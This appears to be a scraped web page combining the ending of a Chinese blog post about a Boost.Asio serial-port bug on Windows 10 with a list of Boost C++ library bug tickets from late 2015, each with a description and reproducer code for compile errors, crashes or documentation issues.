开发环境	Microsoft Visual Studio Community 2013 Version 12.0.40629.00 Update 5
Boost版本	boost_1.59.0

结束语

以上只是自己的猜测，并不一定是完全正确的。如有任何错误，请联系并告诉我。我将尽快修改，不胜感激。

我的原文

http://www.leelib.com/2015/10/10/win10-boost-asio-serial-port-bug.html

#11718: No debug output when karma.hpp is included before qi.hpp

anonymous — Sun, 11 Oct 2015 06:28:15 GMT

In case karma.hpp is included macro karma\nonterminal\debug_handler.hpp::BOOST_SPIRIT_DEBUG_NODE(...) is defined.

In case qi.hpp is included macro qi\nonterminal\debug_handler.hpp::BOOST_SPIRIT_DEBUG_NODE(...) is defined.

both macros are secured by !defined(BOOST_SPIRIT_DEBUG_NODE). Therefore macro is defined only once which is fine.

In case BOOST_SPIRIT_DEBUG is defined expectation is that both macro implementations define equal code. But this is not the case:

If karma.hpp is included before qi.hpp resulting code is: #define BOOST_SPIRIT_DEBUG_NODE(r) r.name(#r);

If qi.hpp is included before karma.hpp resulting code is: #define BOOST_SPIRIT_DEBUG_NODE(r) r.name(#r); debug(r)

Therefore debug output is only available when header files are included in the right order. A simple macro extension should solve the issue.

#11717: Associate an Executor used to launch the continuation to a promise/packaged_task constructor.

viboes — Sat, 10 Oct 2015 14:55:30 GMT

Currently we have async function that constructs futures associated to an Executor.

The then() member function should use this executor to launch the continuation. See #11716.

But futures can also have other sources, as e.g. a promise or a packaged_task. This paper proposes the addition of Executor aware constructors for promise<T> and packaged_task<R(Args)> so that the continuation on the associated future make use of this executor.

We propose to:

Add promise<T>::promise<T>(Executor&) Executor aware constructor.

Add packaged_task<R(Args...)>::packaged_task(Executor&) Executor aware constructor.

#11715: build error with openmpi in vs2010

anonymous — Wed, 07 Oct 2015 18:14:01 GMT

bjam not found mpi libs in windows, because it find microsoft mpi only. we patch jam file and bjam found open mpi.

But not build dynamic boost-mpi and graph_parallel and etc.

#11714: [subgraph.hpp] add_vertex(u_global, g) on a subgraph does not recursively add to parent subgraphs

s.hammer@… — Wed, 07 Oct 2015 13:48:46 GMT

Hello,

One of the invariants of an induced subgraph is:

If vertex u is in subgraph g, then u must be in g.parent().

This is true if you call add_vertex(g) on a subgraph to create a new vertex. If you however choose to add a already existing global vertex to the subgraph, this addition is not propagated to the parents of this subgraph.

I assume this is a bug and fixed it. The patch is on github: https://github.com/j-4/graph/tree/fix-add_vertex-subgraph

I also created a pull request! Thanks, Stefan

PS: Attached is a unit test which fails due to this issue and runs through with the patched version!

#11708: shared_ptr for void

mati_egon@… — Mon, 05 Oct 2015 19:30:20 GMT

Hi, I have been recently working with smart pointers and found out that boost ASIO uses std::shared_ptr for void type under Visual Studio 2013 compiler, what is basically forbidden by standard - void type is an incomplete type that can not be complete. It may lead to broken compilation under future Microsoft compilers, gcc for sure forbids shared_ptr for void type (at least gcc 4.8) throwing static assertion during compilation:

static_assert( !is_void<_Tp1>::value, "incomplete type" );

File: asio/details/socket_ops.hpp:63

typedef shared_ptr<void> shared_cancel_token_type;

#11707: Locale facets have hidden visibility

Andrey Semashev — Sun, 04 Oct 2015 15:54:07 GMT

When the application or another library is compiled with hidden visibility by default, Boost.DateTime IO facets end up having hidden visibility as well. This breaks libstdc++ locale operations, such as has_facet and use_facet, as these operations are based on dynamic_cast.

Boost.DateTime should work regardless of the default visibility mode the application chooses. All facet types, as well as the types that can be used in their template parameters, should be marked with BOOST_SYMBOL_VISIBLE.

#11706: The Bessel function can not support to use complex parameter

jufangliang@… — Sun, 04 Oct 2015 03:48:29 GMT

Codes are following:

#include <boost/math/special_functions/bessel.hpp> #include <iostream> /*using namespace std;*/ int main(){

std::complex<double> c(1,1); std::cout<<boost::math::cyl_bessel_i(1,5)<<std::endl; std::cout<<boost::math::cyl_bessel_i(1,c)<<std::endl;

}

the std::cout<<boost::math::cyl_bessel_i(1,5)<<std::endl; can implement; But if the second parameter is complex number, it doesn't work.

#11705: Phoenix function defining operator() with non-const reference parameter fails to compile with C++ 11.

Sat, 03 Oct 2015 05:07:56 GMT

A phoenix function object defining operator() with a non-const reference parameter does not compile when using clang version 3.5 in C++ 11 mode.

The compiler used is: Apple LLVM version 6.0 (clang-600.0.57) (based on LLVM 3.5svn)

The Boost version used is 1.59.

A test program to illustrate the problem along with the compiler build log are provided with this bug report.

An example of such a function object that reproduces the problem is the following:

struct add_int_impl { typedef int result_type;

add_int_impl(int v) {

_value=v;

}

int operator()(bool& flag) const {

std::cout << "int operator()(bool& flag) called" << std::endl; if (_value == 4)

flag=true;

return _value;

}

int _value;

};

The function can be tested with the following code snippet:

* Begin code snippet *

Initialise the function with the value 4.

boost::phoenix::function<add_int_impl> add_int(4);

bool flag=false;

BOOST_TEST(add_int(arg1)(flag) == (4));

* End code snippet *

This call will only compile under Apple's version of clang 3.5 in C++ 11 mode when one or both of the following conditions are met;

1) The int operator()(int a) const is also defined

2) One of the following flags is defined:

BOOST_RESULT_OF_TR1 BOOST_RESULT_OF_USE_TR1_WITH_DECLTYPE_FALLBACK

The program also compiles if the function signature is changed to use a const reference parameter, i.e. int operator()(const bool& flag) const. However this then means that the parameter value cannot be modified within the body of the function as required.

The problem does not occur if the program is compiled using C++ 98 compatibility mode.

I suspect that the problem relates to the use of boost::result_of, which uses the decltype() function to deduce function return types when compiling with C++ 11 support.

#11704: Can't pass a generic lambda as an argument to a parser

Fri, 02 Oct 2015 13:26:04 GMT

This example will fail to compile:

auto f = [](qi::unused_type, auto &ctx) { return true; }; qi::rule<const char*> r{ qi::eps(f) };

Changing the lambda to a non-generic one will make this work (by passing the context type explicitly)

#11702: boost::bind universal reference handling regression

maxim.yegorushkin@… — Thu, 01 Oct 2015 11:16:54 GMT

The following code compiles with boost-1.57 but not with boost-1.59:

#include <boost/function.hpp>
#include <boost/bind.hpp>
#include <memory>
void foo(std::auto_ptr<int>);
int main() {
    boost::function<void(std::auto_ptr<int>)> f = boost::bind(foo, _1);
    std::auto_ptr<int> p;
    f(p);
}

This is due to the new universal reference handling code implemented in boost::bind.

The local fix we use is:

#if !defined( BOOST_NO_CXX11_RVALUE_REFERENCES )
namespace boost { namespace _bi {
template<class A> struct list_add_cref<std::auto_ptr<A> >
{
    typedef std::auto_ptr<A>& type;
};
} }
#endif

#11695: Crash if boost managed_shared_memory is used on Windows

rohbansa@… — Wed, 30 Sep 2015 06:35:15 GMT

The process executing below sample code crashes if two or more instances are executed simultaneously. If two instances are started at a gap of 1 second, then there is no crash.

#include <boost/interprocess/managed_shared_memory.hpp>
#include <boost/interprocess/allocators/allocator.hpp>
#include <boost/interprocess/containers/string.hpp>
#include <string>
#include <iostream>
#define RESERVED_BUFFER_SIZE_WRITE (8 * 0x0100000)
namespace bip = boost::interprocess;
//Typedefs of allocators and containers
typedef bip::allocator<char, bip::managed_shared_memory::segment_manager> char_allocator;
typedef bip::basic_string<char, std::char_traits<char>, char_allocator>   char_string;
int main()
{
    bip::managed_shared_memory m_sharedMemUsage(bip::open_or_create, "MyBookkeeper", 2 * RESERVED_BUFFER_SIZE_WRITE);
    char_allocator alloc_inst3(m_sharedMemUsage.get_segment_manager());
    for (int count = 0; count < 100000; ++count) {
        char_string key_obect("AAAAAAAAAAAAAAAAAAAAAAA", alloc_inst3);
    }
}

#11694: Boost.icl tests incompatibility with Solaris

Tue, 29 Sep 2015 17:02:37 GMT

About 20 boost.icl tests fail on Solaris with the following errors: Error: Expected "class" or "typename" before "0x00000001" Error: "," expected instead of "0x00000001".

This happens because some of the headers use _U as a name of template parameter: boost/boost_1_58_0/libs/icl/test/test_icl_quantifier_shared.hpp:

ICL_IntervalMap_TEMPLATE(_T,_U,Traits,Trt) IntervalMap

and _U is defined in Solaris /usr/include/iso/ctype_iso.h

#define _U 0x00000001 /* Upper case */

(also they use _L, _N, _S, _P, _C , _B, _X :)

Names starting with two underscores or an underscore and an upper-case letter are reserved to the system. Declaring such names in an application has undefined results.

The other headers which have similar issues are: libs/icl/test/test_icl_map.hpp libs/icl/test/test_functions.hpp libs/icl/test/test_interval_map_shared.hpp libs/icl/test/test_interval_quantifier_shared.hpp

#11692: boost::insert doesn't return a value on the 2 argument overload causing undefined behaviour

Tue, 29 Sep 2015 12:24:02 GMT

In boost/range/algorithm_ext/insert.hpp the second overload for insert doesn't return anything.

This was causing our build on clang 3.6 to crash. A simple reproducer is

#include <iostream>
#include <vector>
#include <set>
#include <boost/range/algorithm_ext/insert.hpp>
int main()
{
        std::vector<int> vec({0,1,2,3});
        std::set<int> out;
        boost::insert(out, vec);
        for (auto val : out) {
                std::cout << val << std::endl;
        }
        return 0;
}

To fix it, simply adding

  return on;

at the end of the function so that it matches the overload above it fixed the issue.

Having looked at the tests https://github.com/boostorg/range/blob/master/test/algorithm_ext_test/insert.cpp

The test only appear to be testing the overload that takes 3 arguments which works fine.

I tested on 1.56, I had a quick look at the code for 1.59 and it appears to have the same issue but have not been able to test it.

#11685: bootstrap.log: fatal error C1083: Cannot open include file: 'tlhelp32.h': No such file or directory

aritz@… — Sat, 26 Sep 2015 02:31:11 GMT

I am trying to use Boost on windows! The more I tear my hear out with this, the more I realize that Windows is absolute garbage for having no dependency management!

Anyway, running bootstrap.bat always fails, I can't seem to figure out as to why. It doesn't make sense why I would be missing something that would apparently be part of... well... the windows API

bootstrap.log ### ### Using 'vc12' toolset. ###

C:\boost_1_59_0\tools\build\src\engine>if exist bootstrap rd /S /Q bootstrap

C:\boost_1_59_0\tools\build\src\engine>md bootstrap

C:\boost_1_59_0\tools\build\src\engine>cl /nologo /RTC1 /Zi /MTd /Fobootstrap/ /Fdbootstrap/ -DNT -DYYDEBUG -wd4996 kernel32.lib advapi32.lib user32.lib /Febootstrap\jam0 command.c compile.c constants.c debug.c execcmd.c execnt.c filent.c frames.c function.c glob.c hash.c hdrmacro.c headers.c jam.c jambase.c jamgram.c lists.c make.c make1.c object.c option.c output.c parse.c pathnt.c pathsys.c regexp.c rules.c scan.c search.c subst.c timestamp.c variable.c modules.c strings.c filesys.c builtins.c md5.c class.c cwd.c w32_getreg.c native.c modules/set.c modules/path.c modules/regex.c modules/property-set.c modules/sequence.c modules/order.c command.c compile.c constants.c debug.c execcmd.c execnt.c execnt.c(57) : fatal error C1083: Cannot open include file: 'tlhelp32.h': No such file or directory filent.c frames.c function.c glob.c hash.c hdrmacro.c headers.c jam.c jambase.c jamgram.c lists.c make.c make1.c object.c Generating Code... Compiling... option.c output.c parse.c pathnt.c pathsys.c regexp.c rules.c scan.c search.c subst.c timestamp.c variable.c modules.c strings.c filesys.c builtins.c md5.c class.c cwd.c w32_getreg.c Generating Code... Compiling... native.c set.c path.c regex.c property-set.c sequence.c order.c Generating Code...

C:\boost_1_59_0\tools\build\src\engine>exit /b 2

#11682: fusion::pair not compatible with std::is_default_constructible

crmoore@… — Thu, 24 Sep 2015 14:59:03 GMT

When the Second type of pair is not default constructible, std::is_default_constructible either returns true or fails to compile for fusion::pair.

This is on OSX with apple and macports compilers.

Adding enable_if< is_default_constructible<Second> > to pair's default constructor makes this work as expected.

struct NotDefaultConstructible {
  NotDefaultConstructible(int){};
};
// prints 0
std::cout << std::is_default_constructible< NotDefaultConstructible >::value << std::endl;
using fusion_pair1 = boost::fusion::pair<int, NotDefaultConstructible>;
// should print 0
// fails to compile on clang (xcode 7, 3.4, 3.6, 3.7), gcc 4.9
// prints 1 on gcc 5, clang 3.4
std::cout << std::is_default_constructible< fusion_pair1 >::value << std::endl;

Test and patch attached. Patch is unlikely to meat portability requirements to be applied as-is.

#11681: Boost 1.59 program_options parsing error

mskalick@… — Thu, 24 Sep 2015 13:12:05 GMT

With boost-1.59 I am seeing the error with parsing options when the options has the implicit value. With boost-1.58 it is working fine. However I am not sure it this is bug or it is intended in boost.

argv=["binaryname", "--port", "5"]
option port have set default_value=6 and implicit_value=7

What should be the value of port after parsing argv?

After running parser there is an error "Error parsing command line: too many positional options have been specified on the command line".

This problem occurs when running MongoDB test (https://github.com/mongodb/mongo/blob/0481c958daeb2969800511e7475dc66986fa9ed5/src/mongo/util/options_parser/options_parser_test.cpp#L753 ). With boost 1.58 it is passing. Without setting imlicit_value it is passing fine also with 1.59.

Or is this a problem in the test?

#11680: boost::polygon::connectivity_extraction::extract crashes when no polygons were inserted

mhilferink@… — Thu, 24 Sep 2015 08:56:52 GMT

steps to reproduce:

#include <boost/polygon/polygon.hpp>
int main() {
  boost::polygon::connectivity_extraction<int> ce;
  std::vector<std::set<int> > graph;
  ce.extract(graph); // causes access violation
}

The debugger indicates an access violation in

    template <typename iT>
    static inline void compute_histogram_in_y(iT begin, iT end, std::size_t size, std::vector<std::pair<Unit, std::pair<std::size_t, std::size_t> > >& histogram);

Apparently, the original coder assumed (incorrectly?) that the given size != 0.

a simple 'if' would probably resolve this I do in my client code as well. I just wonder what the best level would be to introduce this if:

connectivity_extraction::extract
arbitrary_connectivity_extraction::execute
or better in boost::polygon::line_intersection<T>::validate_scan ?

#11679: boost::polygon::connectivity_extraction::extract crashes when no polygons were inserted

mhilferink@… — Thu, 24 Sep 2015 08:56:50 GMT

steps to reproduce:

#include <boost/polygon/polygon.hpp>
int main() {
  boost::polygon::connectivity_extraction<int> ce;
  std::vector<std::set<int> > graph;
  ce.extract(graph); // causes access violation
}

The debugger indicates an access violation in

    template <typename iT>
    static inline void compute_histogram_in_y(iT begin, iT end, std::size_t size, std::vector<std::pair<Unit, std::pair<std::size_t, std::size_t> > >& histogram);

Apparently, the original coder assumed (incorrectly?) that the given size != 0.

a simple 'if' would probably resolve this I do in my client code as well. I just wonder what the best level would be to introduce this if:

connectivity_extraction::extract
arbitrary_connectivity_extraction::execute
or better in boost::polygon::line_intersection<T>::validate_scan ?

#11677: too long file name

anonymous — Tue, 22 Sep 2015 03:32:33 GMT

C:\Users\me\Downloads\boost_1_59_0.7z\boost_1_59_0\libs\geometry\doc\html\geometry\reference\spatial_indexes\boostgeometryindexrtree\rtree_parameters_type_constindexable_getter_constvalue_equal_constallocator_type_const_.html

I need to do automation to build boost by jenkins this path (and many other else) really annoys me, windows only accept 260 char I don't know why on earth do people need this kind of super long file name

#11675: sym_difference yields bad result for int polygons

vschoech@… — Mon, 21 Sep 2015 14:31:07 GMT

My "_TPolygon" type is actually a multi-polygon, based on a polygon type that is oriented counter-clockwise and open (not closed). Please consider the following example, which apparently works fine:

tc::geo::polygon<double> polygonA; // tc::geo::polygon<...> is actually a MULTIPOLYGON, with polygons oriented COUNTER-CLOCKWISE and OPEN (not closed).
boost::geometry::read_wkt("MULTIPOLYGON(((564 2394,1548 2850,2526 2916,2526 1073741823,564 1073741823,564 2394)))", polygonA); // does not throw
boost::geometry::is_valid(polygonA); // returns true
tc::geo::polygon<double> polygonB;
boost::geometry::read_wkt("MULTIPOLYGON(((564 3252,2526 3252,2526 1073741823,564 1073741823,564 3252)))", polygonB); // does not throw
boost::geometry::is_valid(polygonB); // returns true
tc::geo::polygon<double> polygonC;
boost::geometry::sym_difference(polygonA, polygonB, polygonC); // does not throw
boost::geometry::is_valid(polygonC); // returns true
// polygonC is now "MULTIPOLYGON(((564 3252,564 2394,1548 2850,2526 2916,2526 3252,564 3252)))"

Note: std::numeric_limits<int>::max()/2 == 1073741823 Now, simply replace double by int:

tc::geo::polygon<int> polygonA; // tc::geo::polygon<...> is actually a MULTIPOLYGON, with polygons oriented COUNTER-CLOCKWISE and OPEN (not closed).
boost::geometry::read_wkt("MULTIPOLYGON(((564 2394,1548 2850,2526 2916,2526 1073741823,564 1073741823,564 2394)))", polygonA); // does not throw
boost::geometry::is_valid(polygonA); // returns true
tc::geo::polygon<int> polygonB;
boost::geometry::read_wkt("MULTIPOLYGON(((564 3252,2526 3252,2526 1073741823,564 1073741823,564 3252)))", polygonB); // does not throw
boost::geometry::is_valid(polygonB); // returns true
tc::geo::polygon<int> polygonC;
boost::geometry::sym_difference(polygonA, polygonB, polygonC); // does not throw
boost::geometry::is_valid(polygonC); // returns true
TRACE( "===================== polygonC2=" << polygonC );
// polygonC is now "MULTIPOLYGON(((564 3252,564 2394,1548 2850,2526 2916,2526 *!*333412*!*,564 3252)))"

As you can see, one value is completely off. This seems to happen reliably whenever the input is based on int and contains large numbers.

This issue may be related to Ticket #10658.

#11670: Boost intrusive constructors should be constexpr

ben.maurer@… — Fri, 18 Sep 2015 23:15:49 GMT

Boost intrusive constructors should be marked constexpr. Doing so would allow for their use in static variables without SIOF. As an example consider this program that uses a simple linked list

http://ideone.com/O5YWM8

because the LinkedList constructor is not constexpr, the variable gets initialized in file declaration order -- after my_crazy_variable. Therefore even though my_crazy_variable's ctor pushes something on to the list, it gets lost when the list is initialized and the program crashes due to being unable to pop a value.

However, if you declare LinkedList's constructor constexpr the list is initialized in the zero initialization phase (http://en.cppreference.com/w/cpp/language/initialization#Non-local_variables). This means that the linked list can be used in other constructors without worrying about initialization order.

While my example is obviously not a sane use case, imagine a linked list that registers all live Widget objects. if somebody creates a widget during static initialization they could encounter the same problem.

A side benefit to doing this is that code size is reduced as the code to initialize the linked list is not created

#11668: cpu_timer methods documented as noexcept, while in code they are not

Fri, 18 Sep 2015 15:17:38 GMT

Hello,

I was trying to use cpu_timer in an environment which does not use exceptions. As documented, most of the methods are noexcept, but the code does not have noexcept and uses try catch, see libs/timer/src/cpu_timer.cpp , ~auto_cpu_timer . Please either fix the documentation, or the code to comply with the documentation. My preferred way to fix the issue is the latter way, or at least give the option for the user to not use exception (with BOOST_NO_EXCEPTIONS).

Thank you,

George Butnaru

#11667: Error compiling VS2013 update 5

anonymous — Fri, 18 Sep 2015 12:46:00 GMT

C:\boost_1_59_0_2013\boost/bind/bind.hpp(305) : error C2664: 'bool (const boost: :python::api::object &,std::string &)' : cannot convert argument 2 from 'const s td::string' to 'std::string &'

Conversion loses qualifiers C:\boost_1_59_0_2013\boost/bind/bind.hpp(907) : see reference to functio

n template instantiation 'R boost::_bi::list2<boost::_bi::value<T>,boost::arg<1>

::operator ()<bool,bool(cdecl *)(const boost::python::api::object &,std::stri

ng &),boost::_bi::list1<const std::basic_string<char,std::char_traits<char>,std: :allocator<char>> &>>(boost::_bi::type<bool>,F &,A &,long)'

#11666: graph library documentation issues ("Using adjacency_list")

Fri, 18 Sep 2015 12:19:48 GMT

I am currently studying the "Using adjacency_list" documentation page (libs/graph/doc/using_adjacency_list.html), and I found several issues:

Creating your own property types and properties is easy; just define a tag class for your new property. The property tag class will need to define num with a unique integer ID, and kind which should be either edge_property_tag, vertex_property_tag, or graph_property_tag.
struct flow_t {
  typedef edge_property_tag kind;
};

Where is num defined? (Is it necessary at all?)
(If necessary) where exactly does it need to be unique? (Within a certain namespace? Over all edge properties? Over all vertex+edge properties?
What about the range (number of bits?), reserved numbers/ranges and consecutiveness?

Access the propety acessor type for this graph

(Typo in "property")

#11663: No way to query file extension without allocating memory

matthew.chaplain@… — Thu, 17 Sep 2015 06:44:37 GMT

the function .extension() returns an fs::path, containing a fresh string that contains the extension. On certain library implementations that don't implement the SSO -- or, I guess, for files with very long extensions -- there will be a memory allocation each time the function is called.

That means that for solutions implementing search-by-extension such as is written in:

http://stackoverflow.com/questions/11140483/how-to-get-list-of-files-with-a-specific-extension-in-a-given-folder

there could be hundreds of memory allocations for just iterating a directory structure. IMO, there really shouldn't be.

I propose adding the function bool path::has_extension(string const&) which can compare the extension in a memory-friendly way.

#11662: Parse Json

KigKrazy@… — Thu, 17 Sep 2015 04:31:49 GMT

use Boost to Parse Json on linux! when I use it with multithreading ，the Program crash！！

my code: json_test.h

#ifndef UNIT_JSON_BUGTEST_H
#define UNIT_JSON_BUGTEST_H
#include <boost/property_tree/ptree.hpp>
#include <boost/property_tree/json_parser.hpp>
#include <boost/foreach.hpp>
#include <boost/thread/thread.hpp>
#include <sstream>
#include <map>
using namespace boost;
using namespace boost::property_tree;
using namespace std;
#define JSON_BUG "{\"onlineUser\":[{\"username\":\"131898@QQ.COM\",\"framedipaddress\":\"10.10.1.3\"},{\"username\":\"a258055085@163.com\",\"framedipaddress\":\"10.10.1.4\"},{\"username\":\"77476848@QQ.COM\",\"framedipaddress\":\"10.10.1.5\"},{\"username\":\"tyws0001@163.com\",\"framedipaddress\":\"10.10.1.10\"},{\"username\":\"zbr7066895@163.com\",\"framedipaddress\":\"10.10.1.9\"},{\"username\":\"1733064835@qq.com\",\"framedipaddress\":\"10.10.1.12\"}]}"
typedef multimap<string, string> onlineuser_map;
onlineuser_map get_online_user_map(const string strJson);
void unit_json_bugtest_main();
#endif

json_test.cpp

#include "unit_json_bugtest.h"
onlineuser_map get_online_user_map(const string strJson)
{
	onlineuser_map mymap;
	//  cout << strJson << endl;
	stringstream ssJson(strJson);
	ptree pt;
	try{
		read_json(ssJson, pt);
	}
	catch(...)
	{
		cout << "read json string error" <<endl;
		return mymap;
	}
	try{
		ptree ptInfoArray = pt.get_child("onlineUser");
		BOOST_FOREACH(ptree::value_type &v, ptInfoArray)
		{
			ptree ptChild;
			std::stringstream streamChild;
			write_json(streamChild, v.second);
			json_parser::read_json(streamChild, ptChild);
			mymap.insert(make_pair(ptChild.get<string>("username"), ptChild.get<string>("framedipaddress")));
		}
	}
	catch(...)
	{
		mymap.clear();
		cout << "read json string error" <<endl;
		return mymap;
	}
	return mymap;
}
int i;
void my_thread_fun(int itest)
{
	get_online_user_map(JSON_BUG);
	cout << "i'm OK!!: " << itest<<endl;
}
void main()
{
	i = 0;
	while(1)
	{
		thread th(my_thread_fun,i);
		i++;
		usleep(10);
	}
}

#11660: interprocess::winapi::get_last_bootup_time(std::string &stamp) fails, resulting in bad IPC name

bmccart@… — Wed, 16 Sep 2015 14:57:08 GMT

Using interprocess::managed_shared_memory fails on Windows 7 in restricted environments (i.e. running under IIS/AppPool). It fails to create IPC primites properly, even if an administrator account is being impersonated. It doesn't fail if running a regular process as the IIS/AppPool user. It fails in that the shared memory object created doesn't have the intended name, and when boost interprocess attempts to open the primitive in another process it fails, do to file name discrepancies.

Specifically, interprocess::winapi::get_last_bootup_time(std::string &stamp) fails to retrieve the bootup time, as a consequence of failing to open the system log file (GetLastError() produces ERROR_ACCESS_DENIED) and instead produces an empty string. This does not occur in the other process.

The attached alternate implementation for getting a bootup time is working for me in the above scenario.

#11659: push_relabel_max_flow

anonymous — Wed, 16 Sep 2015 06:05:12 GMT

if you use the code below the bug would be happened：

#include <iostream>
#include <boost/config.hpp>
#include <boost/graph/boykov_kolmogorov_max_flow.hpp>
#include <boost/graph/push_relabel_max_flow.hpp>
#include <boost/graph/edmonds_karp_max_flow.hpp>
#include <boost/graph/adjacency_list.hpp>
#include <boost/graph/read_dimacs.hpp>
#include <boost/graph/graph_utility.hpp>
/*
,
boost::property <boost::vertex_color_t, boost::default_color_type,
boost::property <boost::vertex_distance_t, long,
boost::property <boost::vertex_predecessor_t, Traits::edge_descriptor > > >
*/
typedef boost::adjacency_list_traits<boost::vecS, boost::vecS, boost::directedS> Traits;
typedef boost::adjacency_list<boost::listS, boost::vecS, boost::directedS,
	boost::property < boost::vertex_name_t, std::pair<int,int>,
	boost::property < boost::vertex_color_t, boost::default_color_type,
	boost::property < boost::vertex_distance_t, long,
	boost::property < boost::vertex_predecessor_t, Traits::edge_descriptor >  > > >,
	boost::property < boost::edge_capacity_t, double,
	boost::property < boost::edge_residual_capacity_t, double,
	boost::property < boost::edge_reverse_t, Traits::edge_descriptor> > >
> Graph;
void AddEdge(	Traits::vertex_descriptor &v1,
				Traits::vertex_descriptor &v2,
				boost::property_map < Graph, boost::edge_reverse_t >::type &rev,
				const double capacity,
				Graph &g)
{
	Traits::edge_descriptor e1 = boost::add_edge(v1, v2, g).first;
	Traits::edge_descriptor e2 = boost::add_edge(v2, v1, g).first;
	boost::put(boost::edge_capacity, g, e1, capacity);
	boost::put(boost::edge_capacity, g, e2, capacity);
	rev[e1] = e2;
	rev[e2] = e1;
}
int main(int argc, char* argv[])
{
	Graph g;
	boost::property_map < Graph, boost::edge_reverse_t >::type rev = get(boost::edge_reverse, g);
	std::pair<int, int> point1(0, 0);
	std::pair<int, int> point2(1, 0);
	std::pair<int, int> point3(1, 1);
	std::pair<int, int> point4(0, 1);
	Graph::vertex_descriptor u = boost::add_vertex(point1, g);
	Graph::vertex_descriptor v = boost::add_vertex(point2, g);
	Graph::vertex_descriptor w = boost::add_vertex(point3, g);
	Graph::vertex_descriptor x = boost::add_vertex(point4, g);
	//boost::add_edge(u, v, g);
	AddEdge(u, v, rev, 10.1, g);
	AddEdge(u, w, rev, 10.2, g);
	AddEdge(v, x, rev, 8.1, g);
	AddEdge(w, x, rev, 6.2, g);
	//double flow = boost::boykov_kolmogorov_max_flow(g, u, x);
	double flow = boost::push_relabel_max_flow(g, u, x);
	//double flow = boost::edmonds_karp_max_flow(g, u, x);
	boost::property_map < Graph, boost::vertex_color_t >::type
		vertex_color = get(boost::vertex_color, g);
	boost::graph_traits < Graph >::vertex_iterator u_iter, u_end;
	for (boost::tie(u_iter, u_end) = vertices(g); u_iter != u_end; ++u_iter)
	{
		std::cout << "ver: " << *u_iter << " " << vertex_color[*u_iter] << std::endl;
	}
	return 0;
}

#11658: push_relabel_max_flow

anonymous — Wed, 16 Sep 2015 06:05:07 GMT

if you use the code below the bug would be happened：

#include <iostream>
#include <boost/config.hpp>
#include <boost/graph/boykov_kolmogorov_max_flow.hpp>
#include <boost/graph/push_relabel_max_flow.hpp>
#include <boost/graph/edmonds_karp_max_flow.hpp>
#include <boost/graph/adjacency_list.hpp>
#include <boost/graph/read_dimacs.hpp>
#include <boost/graph/graph_utility.hpp>
/*
,
boost::property <boost::vertex_color_t, boost::default_color_type,
boost::property <boost::vertex_distance_t, long,
boost::property <boost::vertex_predecessor_t, Traits::edge_descriptor > > >
*/
typedef boost::adjacency_list_traits<boost::vecS, boost::vecS, boost::directedS> Traits;
typedef boost::adjacency_list<boost::listS, boost::vecS, boost::directedS,
	boost::property < boost::vertex_name_t, std::pair<int,int>,
	boost::property < boost::vertex_color_t, boost::default_color_type,
	boost::property < boost::vertex_distance_t, long,
	boost::property < boost::vertex_predecessor_t, Traits::edge_descriptor >  > > >,
	boost::property < boost::edge_capacity_t, double,
	boost::property < boost::edge_residual_capacity_t, double,
	boost::property < boost::edge_reverse_t, Traits::edge_descriptor> > >
> Graph;
void AddEdge(	Traits::vertex_descriptor &v1,
				Traits::vertex_descriptor &v2,
				boost::property_map < Graph, boost::edge_reverse_t >::type &rev,
				const double capacity,
				Graph &g)
{
	Traits::edge_descriptor e1 = boost::add_edge(v1, v2, g).first;
	Traits::edge_descriptor e2 = boost::add_edge(v2, v1, g).first;
	boost::put(boost::edge_capacity, g, e1, capacity);
	boost::put(boost::edge_capacity, g, e2, capacity);
	rev[e1] = e2;
	rev[e2] = e1;
}
int main(int argc, char* argv[])
{
	Graph g;
	boost::property_map < Graph, boost::edge_reverse_t >::type rev = get(boost::edge_reverse, g);
	std::pair<int, int> point1(0, 0);
	std::pair<int, int> point2(1, 0);
	std::pair<int, int> point3(1, 1);
	std::pair<int, int> point4(0, 1);
	Graph::vertex_descriptor u = boost::add_vertex(point1, g);
	Graph::vertex_descriptor v = boost::add_vertex(point2, g);
	Graph::vertex_descriptor w = boost::add_vertex(point3, g);
	Graph::vertex_descriptor x = boost::add_vertex(point4, g);
	//boost::add_edge(u, v, g);
	AddEdge(u, v, rev, 10.1, g);
	AddEdge(u, w, rev, 10.2, g);
	AddEdge(v, x, rev, 8.1, g);
	AddEdge(w, x, rev, 6.2, g);
	//double flow = boost::boykov_kolmogorov_max_flow(g, u, x);
	double flow = boost::push_relabel_max_flow(g, u, x);
	//double flow = boost::edmonds_karp_max_flow(g, u, x);
	boost::property_map < Graph, boost::vertex_color_t >::type
		vertex_color = get(boost::vertex_color, g);
	boost::graph_traits < Graph >::vertex_iterator u_iter, u_end;
	for (boost::tie(u_iter, u_end) = vertices(g); u_iter != u_end; ++u_iter)
	{
		std::cout << "ver: " << *u_iter << " " << vertex_color[*u_iter] << std::endl;
	}
	return 0;
}

#11657: Add VxWorks support for program options

Wed, 16 Sep 2015 05:13:47 GMT

This patch enables program options to be compiled in VxWorks 7.

It should be used with the config patch in #11653

(Alternately we could make the environ in VxWorks more standard, but since older VxWorks versions are being used for decades after there release, a backward compatible approach seemed the better option)

#11656: Updated VxWorks support for iostreams

Wed, 16 Sep 2015 05:03:43 GMT

Wind River has a few customer requests for boost support so this patch provides updates boost iostreams to compile with VxWorks 7

It should be used with the config patch in ticket 11653

#11654: Updated VxWorks support for asio

Wed, 16 Sep 2015 04:42:15 GMT

This patch provides support to VxWorks 7, and should be backward compatible to older versions.

It should be used in concert with the config patch submitted in an earlier ticket

#11651: boost::to_upper and boost::to_lower damages non ascii-charasters in std::u32string

anonymous — Mon, 14 Sep 2015 18:41:19 GMT

code to reproduce:

std::u32string u32str = U"Проверка АаАа abcd"; boost::to_upper(u32str); u32str contains "@>25@:0 00 ABCD" after

proper upper string is "ПРОВЕРКА АААА ABCD"

Visual Studio 2015

#11650: boost range size() fails concept on subarray of a const multi_array

Mon, 14 Sep 2015 10:06:01 GMT

Small test case:

#include <boost/range/size.hpp>
#include <boost/multi_array.hpp>
using namespace boost;
typedef multi_array<float, 2> myarray;
myarray a;
const myarray const_a;
void
test() {
    boost::size( a[0] );  // Compiles fine
    boost::size( const_a );  // Compiles fine
    boost::size( const_a[0] );  // Fails single pass range concept
}

gives me the attached errors. I'm using gcc 4.8.4 on Ubuntu 14.04 with boost 1.59.0

#11646: Boost ASIO server-side async_handshake handler not called if Diffie-Hellman key is too small

c.m.brandenburg@… — Fri, 11 Sep 2015 22:18:07 GMT

Boost ASIO server-side async_handshake handler is never called if the Diffie-Hellman key is too small. Instead, the handshake operation appears to hang indefinitely.

